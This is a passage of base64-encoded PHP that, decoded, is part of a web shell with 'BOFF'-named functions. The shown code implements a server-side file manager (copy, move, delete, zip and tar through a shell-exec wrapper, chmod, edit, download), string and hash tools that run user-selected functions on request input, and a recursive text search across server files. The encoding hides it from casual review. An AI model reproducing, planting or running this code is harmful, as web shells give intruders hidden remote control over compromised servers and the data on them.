TU0lPTlsnZiddIGFzICRmKQ0KCQkJCQkJY29weV9wYXN0ZSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICdtb3ZlJykgew0KCQkJCQlmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsNCgkJCQkJCWlmKGlzX2RpcigkYy4kcykpew0KCQkJCQkJCW1rZGlyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsNCgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQoJCQkJCQkJCWlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IGVsc2VpZihAaXNfZmlsZSgkYy4kcykpDQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQ0KCQkJCQkJQHJlbmFtZSgkX1NFU1NJT05bJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCgkJCQl9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICd6aXAnKSB7DQoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TVFsncDInXSwgMSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfU0VTU0lPTlsnYyddLiRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJF9TRVNTSU9OWydjJ10uJGYsICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKEBpc19kaXIoJF9TRVNTSU9OWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZShyZWFscGF0aCgka2V5KSwgJGtleSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAndW56aXAnKSB7DQoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5vcGVuKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICd0YXInKSB7DQogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfU0VTU0lPTlsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSBhcnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9TRVNTSU9OWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICBCT0ZGRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfU0VTU0lPTlsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7DQoJCQkJfQ0KCQkJCXVuc2V0KCRfU0VTU0lPTlsnZiddKTsNCgkJCQlicmVhazsNCgkJCWRlZmF1bHQ6DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWydhY3QnXSA9IEAkX1BPU1RbJ3AxJ107DQoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KCQkJCQlmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gdXJsZGVjb2RlKCRmKTsNCgkJCQkJJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQoJCQkJfQ0KCQkJCWJyZWFrOw0KCQl9DQoJfQ0KCSRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7Qk9GRkZvb3RlcigpOyByZXR1cm47IH0NCglnbG9iYWwgJHNvcnQ7DQoJJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCWlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQ0KCQkJJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsNCgl9DQplY2hvICI8c2NyaXB0Pg0KCWZ1bmN0aW9uIHNhKCkgew0KCQlmb3IoaT0wO2k8ZC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KCQkJaWYoZC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpDQoJCQkJZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOw0KCX0NCjwvc2NyaXB0Pg0KPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4NCjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGlucHV0IHR5cGU9Y2hlY2tib3ggb25jbGljaz0nc2EoKScgY2xhc3M9Y2hrYng+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbmFtZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk5hbWU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfc2l6ZV8iLigkc29ydFsxXT8wOjEpLiJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TW9kaWZ5PC9hPjwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfcGVybXNfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5QZXJtaXNzaW9uczwvYT48L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7DQoJJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOw0KCSRuID0gY291bnQoJGRpckNvbnRlbnQpOw0KCWZvcigkaT0wOyRpPCRuOyRpKyspIHsNCgkJJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7DQoJCSRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOw0KCQkkdG1wID0gYXJyYXkoJ25hbWUnID0+ICRkaXJDb250ZW50WyRpXSwNCgkJCQkJICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ21vZGlmeScgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpLA0KCQkJCQkgJ3Blcm1zJyA9PiBCT0ZGUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pLA0KCQkJCQkgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdvd25lcicgPT4gJG93WyduYW1lJ10/JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLA0KCQkJCQkgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkNCgkJCQkJKTsNCgkJaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkNCgkJCSRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOw0KCQllbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkNCgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnLCAnbGluaycgPT4gcmVhZGxpbmsoJHRtcFsncGF0aCddKSkpOw0KCQllbHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQ0KCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOw0KCX0NCgkkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7DQoJZnVuY3Rpb24gQk9GRkNtcCgkYSwgJGIpIHsNCgkJaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpDQoJCQlyZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJCWVsc2UNCgkJCXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJfQ0KCXVzb3J0KCRmaWxlcywgIkJPRkZDbXAiKTsNCgl1c29ydCgkZGlycywgIkJPRkZDbXAiKTsNCgkkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsNCgkkbCA9IDA7DQoJZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsNCgkJZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiIHRpdGxlPScgLiAkZlsnbGluayddIC4gJz48Yj5bICcgLiBodG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pIC4gJyBdPC9iPicpLic8L2E+PC90ZD48dGQ+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/Qk9GRlZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXQ0KCQkJLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsNCgkJJGwgPSAkbD8wOjE7DQoJfQ0KCWVjaG8gIjx0cj48dGQgY29sc3Bhbj03Pg0KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4NCgk8c2VsZWN0IG5hbWU9J3AxJz48b3B0aW9uIHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb24+IjsNCiAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkNCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nemlwJz5Db21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5VbmNvbXByZXNzICh6aXApPC9vcHRpb24+IjsNCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd0YXInPkNvbXByZXNzICh0YXIuZ3opPC9vcHRpb24+IjsNCiAgICBpZighZW1wdHkoJF9TRVNTSU9OWydhY3QnXSkgJiYgQGNvdW50KCRfU0VTU0lPTlsnZiddKSkNCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ncGFzdGUnPlBhc3RlIC8gQ29tcHJlc3M8L29wdGlvbj4iOw0KICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOyI7DQogICAgaWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pICYmIEBjb3VudCgkX1NFU1NJT05bJ2YnXSkgJiYgKCgkX1NFU1NJT05bJ2FjdCddID09ICd6aXAnKSB8fCAoJF9TRVNTSU9OWydhY3QnXSA9PSAndGFyJykpKQ0KICAgICAgICBlY2hvICJmaWxlIG5hbWU6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wMiB2YWx1ZT0nQk9GRl8iIC4gZGF0ZSgiWW1kX0hpcyIpIC4gIi4iIC4gKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3ppcCc/J3ppcCc6J3Rhci5neicpIC4gIic+Jm5ic3A7IjsNCiAgICBlY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L2Rpdj4iOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0NCiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdiaW5oZXgnKSkge2Z1bmN0aW9uIGJpbmhleCgkcCkge3JldHVybiBkZWNoZXgoYmluZGVjKCRwKSk7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBzcHJpbnRmKCclMDJYJyxvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0NCgkkc3RyaW5nVG9vbHMgPSBhcnJheSgNCgkJJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywNCgkJJ0Jhc2U2NCBkZWNvZGUnID0+ICdiYXNlNjRfZGVjb2RlJywNCgkJJ1VybCBlbmNvZGUnID0+ICd1cmxlbmNvZGUnLA0KCQknVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsDQoJCSdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywNCgkJJ21kNSBoYXNoJyA9PiAnbWQ1JywNCgkJJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLA0KCQknY3J5cHQnID0+ICdjcnlwdCcsDQoJCSdDUkMzMicgPT4gJ2NyYzMyJywNCgkJJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsDQoJCSdIRVggdG8gQVNDSUknID0+ICdoZXgyYXNjaWknLA0KCQknSEVYIHRvIERFQycgPT4gJ2hleGRlYycsDQoJCSdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsDQoJCSdERUMgdG8gSEVYJyA9PiAnZGVjaGV4JywNCgkJJ0RFQyB0byBCSU4nID0+ICdkZWNiaW4nLA0KCQknQklOIHRvIEhFWCcgPT4gJ2JpbmhleCcsDQoJCSdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywNCgkJJ1N0cmluZyB0byBsb3dlciBjYXNlJyA9PiAnc3RydG9sb3dlcicsDQoJCSdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLA0KCQknSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcGVjaWFsY2hhcnMnLA0KCQknU3RyaW5nIGxlbmd0aCcgPT4gJ3N0cmxlbicsDQoJKTsNCglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOw0KCQlvYl9zdGFydCgpOw0KCQlpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpDQoJCQllY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOw0KCQkkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCgkJZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCgkJZXhpdDsNCgl9DQoJQk9GRkhlYWRlcigpOw0KCWVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpDQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7DQoJZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7DQoJZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpDQoJCWVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsNCgkJZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLihlbXB0eSgkX1BPU1RbJ3AxJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT48cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSciLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuIm1hcmdpbi10b3A6NXB4JyBpZD0nc3RyT3V0cHV0Jz4iOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOw0KCX0NCgllY2hvIjwvcHJlPjwvZGl2Pjxicj48aDE+U2VhcmNoIHRleHQgaW4gZmlsZXM6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJCTxmb3JtIG9uc3VibWl0PVwiZyhudWxsLHRoaXMuY3dkLnZhbHVlLG51bGwsdGhpcy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFsdWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJyB3aWR0aD0nNTAlJz4NCgkJCTx0cj48dGQgd2lkdGg9JzElJz5UZXh0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0ZXh0JyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QYXRoOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjd2QnIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1ZT0nKicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+DQoJCQk8L3RhYmxlPjwvZm9ybT4iOw0KDQoJZnVuY3Rpb24gQk9GRlJlY3Vyc2l2ZUdsb2IoJHBhdGgpIHsNCgkJaWYoc3Vic3RyKCRwYXRoLCAtMSkgIT0gJy8nKQ0KCQkJJHBhdGguPScvJzsNCgkJJHBhdGhzID0gQGFycmF5X3VuaXF1ZShAYXJyYXlfbWVyZ2UoQGdsb2IoJHBhdGguJF9QT1NUWydwMyddKSwgQGdsb2IoJHBhdGguJyonLCBHTE9CX09OTFlESVIpKSk7DQoJCWlmKGlzX2FycmF5KCRwYXRocykmJkBjb3VudCgkcGF0aHMpKSB7DQoJCQlmb3JlYWNoKCRwYXRocyBhcyAkaXRlbSkgew0KCQkJCWlmKEBpc19kaXIoJGl0ZW0pKXsNCgkJCQkJaWYoJHBhdGghPSRpdGVtKQ0KCQkJCQkJQk9GRlJlY3Vyc2l2ZUdsb2IoJGl0ZW0pOw0KCQkJCX0gZWxzZSB7DQoJCQkJCWlmKEBzdHJwb3MoQGZpbGVfZ2V0X2NvbnRlbnRzKCRpdGVtKSwgQCRfUE9TVFsncDInXSkhPT1mYWxzZSkNCgkJCQkJCWVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsbnVsbCxcIiIudXJsZW5jb2RlKCRpdGVtKS4iXCIsIFwidmlld1wiKSc+Ii5odG1sc3BlY2lhbGNoYXJzKCRpdGVtKS4iPC9hPjxicj4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCglpZihAJF9QT1NUWydwMyddKQ0KCQlCT0ZGUmVjdXJzaXZlR2xvYigkX1BPU1RbJ2MnXSk7DQoJZWNobyAiPC9kaXY+PGJyPjxoMT5TZWFyY2ggZm9yIGhhc2g6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJCTxmb3JtIG1ldGhvZD0ncG9zdCcgdGFyZ2V0PSdfYmxhbmsnIG5hbWU9J2hmJz4NCgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2